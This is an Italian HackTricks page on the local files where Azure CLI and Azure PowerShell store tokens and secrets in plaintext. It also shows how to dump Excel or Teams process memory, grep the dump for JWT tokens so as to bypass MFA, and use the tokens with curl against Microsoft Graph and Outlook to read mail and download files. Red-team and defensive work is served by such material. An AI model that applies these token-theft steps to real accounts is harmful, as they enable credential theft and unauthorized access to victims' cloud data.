Az - Credenziali Locali del Cloud

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Archiviazione Locale dei Token e Considerazioni sulla Sicurezza

Azure CLI (Interfaccia a Riga di Comando)

I token e i dati sensibili sono archiviati localmente da Azure CLI, sollevando preoccupazioni di sicurezza:

  1. Token di Accesso: Archiviati in testo semplice all'interno di accessTokens.json situato in C:\Users\<username>\.Azure.
  2. Informazioni sull'Abbonamento: azureProfile.json, nella stessa directory, contiene i dettagli dell'abbonamento.
  3. File di Log: La cartella ErrorRecords all'interno di .azure potrebbe contenere log con credenziali esposte, come:
  • Comandi eseguiti con credenziali incorporate.
  • URL accessibili utilizzando token, che potrebbero rivelare informazioni sensibili.

Azure PowerShell

Azure PowerShell archivia anche token e dati sensibili, che possono essere accessibili localmente:

  1. Token di Accesso: TokenCache.dat, situato in C:\Users\<username>\.Azure, archivia i token di accesso in testo semplice.
  2. Segreti del Principale di Servizio: Questi sono archiviati non crittografati in AzureRmContext.json.
  3. Funzione di Salvataggio del Token: Gli utenti hanno la possibilità di persistere i token utilizzando il comando Save-AzContext, che dovrebbe essere usato con cautela per prevenire accessi non autorizzati.

Strumenti Automatici per Trovarli

Token in Memoria

Come spiegato in questo video, alcuni software Microsoft sincronizzati con il cloud (Excel, Teams...) potrebbero archiviare token di accesso in chiaro nella memoria. Quindi, semplicemente dumpando la memoria del processo e greppando per token JWT potrebbe concederti accesso a diverse risorse della vittima nel cloud bypassando MFA.

Passaggi:

  1. Dumpa i processi di excel sincronizzati con l'utente EntraID con il tuo strumento preferito.
  2. Esegui: string excel.dmp | grep 'eyJ0' e trova diversi token nell'output.
  3. Trova i token che ti interessano di più e esegui strumenti su di essi:
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Nota che questi tipi di token di accesso possono essere trovati anche all'interno di altri processi.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks